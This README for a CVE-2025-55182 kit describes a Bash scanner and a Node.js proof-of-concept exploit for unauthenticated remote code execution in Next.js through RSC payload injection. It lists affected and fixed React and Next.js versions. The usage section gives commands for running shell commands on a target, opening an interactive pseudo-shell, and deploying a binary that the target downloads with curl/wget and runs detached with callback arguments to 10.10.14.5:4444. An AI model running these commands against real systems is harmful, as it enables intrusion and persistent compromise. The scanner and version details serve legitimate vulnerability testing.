
Un scanner bash pour détecter la vulnérabilité CVE-2025-55182 dans les applications Next.js. Et un script PoC nodejs.
Kit CVE-2025-55182. Scanner + exploit pour RCE non authentifié dans Next.js via injection de payload RSC.
Exploit Node.js : zéro dépendance. Scanner Bash : vérifie des URLs uniques ou des listes en masse.
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"
# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i
# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
--deploy ./my-agent \
--remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
Options:
-t, --target <url> URL cible (obligatoire)
-c, --command <cmd> Exécuter la commande avec sortie
--blind RCE aveugle (pas de capture de sortie)
-i, --interactive Pseudo-shell interactif
--deploy <binary> Téléverser et exécuter un binaire sur la cible
--lhost <ip> Votre IP (détectée automatiquement si omise)
--serve-port <port> Port HTTP pour servir le binaire (par défaut : 8888)
--remote-args <args> Arguments passés au binaire déployé
--deploy enchaîne quatre appels RCE : détection de plateforme (uname), téléchargement du binaire (lance un serveur HTTP temporaire, utilise curl/wget sur la cible), et un spawn détaché pour que le processus survive au délai d'attente de 5 secondes de execSync.
Note : La page cible doit être dynamique (
force-dynamicou une route non mise en cache). Les pages statiques/pré-rendues renvoient des résumés en cache au lieu d'exécuter la charge utile.
chmod +x cve-2025-55182-check.sh
# Scan a single URL
./cve-2025-55182-check.sh https://example.com
# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt
# JSON output
./cve-2025-55182-check.sh --json https://example.com
Options:
-f, --file FILE Lire les URLs depuis un fichier (une par ligne)
-v, --verbose Sortie verbeuse (afficher les détails curl)
-q, --quiet Mode silencieux (afficher uniquement les sites vulnérables)
-n, --no-follow Ne pas suivre les redirections
-t, --timeout SECONDS Délai d'attente de la requête (par défaut : 10)
--json Sortie des résultats au format JSON
--validate-fix Tester les contrôles d'atténuation
--single-payload Utiliser uniquement la charge utile de base (plus rapide)
Modèles pour outils de sécurité dans templates/ :
templates/nuclei.yaml)templates/burp-scanner.json)templates/zap-scan-policy.xml)React : 19.0.0, 19.1.0, 19.1.1, 19.2.0 Next.js : >=14.3.0-canary.77, toutes les 15.x et 16.x (avant correctifs)
Corrigé : React 19.0.1+, 19.1.2+, 19.2.1+ Next.js 16.0.7+, 15.5.7+, 15.4.8+, 15.3.6+, 15.2.6+, 15.1.9+, 15.0.5+
Voir TECHNICAL.md pour l'analyse complète de la chaîne d'exploitation.
MIT
Allan Kimmer Jensen - https://akj.io